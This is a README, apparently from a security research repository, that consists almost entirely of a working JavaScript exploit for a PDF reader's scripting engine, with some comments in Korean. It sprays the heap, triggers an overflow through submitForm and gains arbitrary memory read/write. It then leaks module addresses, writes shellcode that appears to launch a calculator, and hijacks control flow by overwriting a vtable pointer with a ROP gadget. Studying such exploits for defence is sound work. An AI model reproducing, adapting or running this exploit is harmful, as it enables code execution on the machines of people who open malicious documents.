README.md
Rendering markdown...
console.show()
function gc() {
new ArrayBuffer(3 * 1024 * 1024 * 100);
}
// Size of relative URL
var strRelUrlSize = 0x600;
// Size of concated URL (Size of base URL + Size of relative URL)
var strConUrlSize = 0x800;
// Generate Heap Area with given blocksize (including Heap shunk Header)
function createArrayBuffer(blocksize) {
var arr = new ArrayBuffer(blocksize - 0x10);
var u8 = new Uint8Array(arr);
for (var i = 0; i < arr.byteLength; i++) {
u8[i] = 0x42;
}
return arr;
}
// Create Heap Area to store relative URL adjacent with exploit string to overwrite byteLength field to -1
var arrB = new Array(0xE0);
// length of sprayStr1 = 2*5 + 2*((0x600/2) - 1 - 5) = 0xa + 2*(0x300 - 6) = 0x600 - 0x2 : Size of total string excluding 2 byte null (UTF16-BE)
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
// UTF16-BE는 2byte가 문자 1개 => null 2byte 포함 0x600 크기의 heap chunk에 할당하기 위해서는 0x300개의 문자 필요
// (strRelUrlSize/2) - 1 = 0x600/2 - 1 = 0x300 - 1 : null 문자 제와 0x2FF개의 문자
arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}
// make multiple hole
for (var i = 0x11; i < arrB.length; i += 10) {
arrB[i] = null;
arrB[i] = undefined;
}
// Create Heap Area to store concatted URL with ArrayBuffer object for Arbitrary R/W
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
arrA[i] = createArrayBuffer(strConUrlSize);
}
// make multiple hole
for (var i = 0x11; i < arrA.length; i += 10) {
arrA[i] = null;
arrA[i] = undefined;
}
// garbage collection
gc();
// Trigger vulnerable
try {
this.submitForm('a'.repeat(strRelUrlSize - 1));
} catch (err) { }
// Corrupt byteLength field in ArrayBuffers next to the concatted URL ArrayBuffer
for (var i = 0; i < arrA.length; i++) {
if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
var temp = new DataView(arrA[i]);
temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
}
if (arrA[i] != null && arrA[i].byteLength == -1) {
var rw = new DataView(arrA[i]);
break;
}
}
// Find the latest corrupted ArrayBuffer object and set DataView object of it (rw)
if (rw) {
// START getArbitraryRW
curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18
// go until find UserBlock signature (0xF0E0D0C0)
for (var i = 0; i < 0x30; i += 4) {
BitMapBufOffset += 4;
signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
if (signature == 0xF0E0D0C0) {
BitMapBufOffset -= 0xC;
BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
break;
}
}
if (BitMapBuf) {
// StartAddr : Address of start of data in ArrayBuffer
StartAddr = BitMapBuf + BitMapBufOffset - 4;
// END getArbitraryRW
// START helper function to R/W Arbitrary address
function readUint32(dataView, readAddr) {
var offsetAddr = readAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
}
return dataView.getUint32(offsetAddr, true);
}
function writeUint32(dataView, writeAddr, value) {
var offsetAddr = writeAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
}
return dataView.setUint32(offsetAddr, value, true);
}
// END helper function to R/W Arbitrary address
// sprayHeap for new Stack
var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
// START getAddressLeaks
// leak and calculate the EScript base address
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
// leak VirtualProtect address in kernel32.dll wich is used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
// Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}
// Setup new Stack
var newStackAddr = 0x5D000001;
var offset = 0x1050AE;
writeUint32(rw, newStackAddr, VirtualProtectAddr); // RIP of previous Stack Frame
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18); // RIP of VirtualProtect Stack Frame
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18); // Arg1 : 메모리 시작 주소
writeUint32(rw, newStackAddr + 0xC, shellcodesize); // Arg2 : 메모리 크기
writeUint32(rw, newStackAddr + 0x10, 0x40); // Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); // Arg4 : 이전 보호 상수 저장할 포인터
// get address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// Overwrtite address of getProperty in vtable to ROP gadget
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);
// try to access unknown property => call overwritten getProperty in vtable
var foo = rw.execFlowHijack;
}
}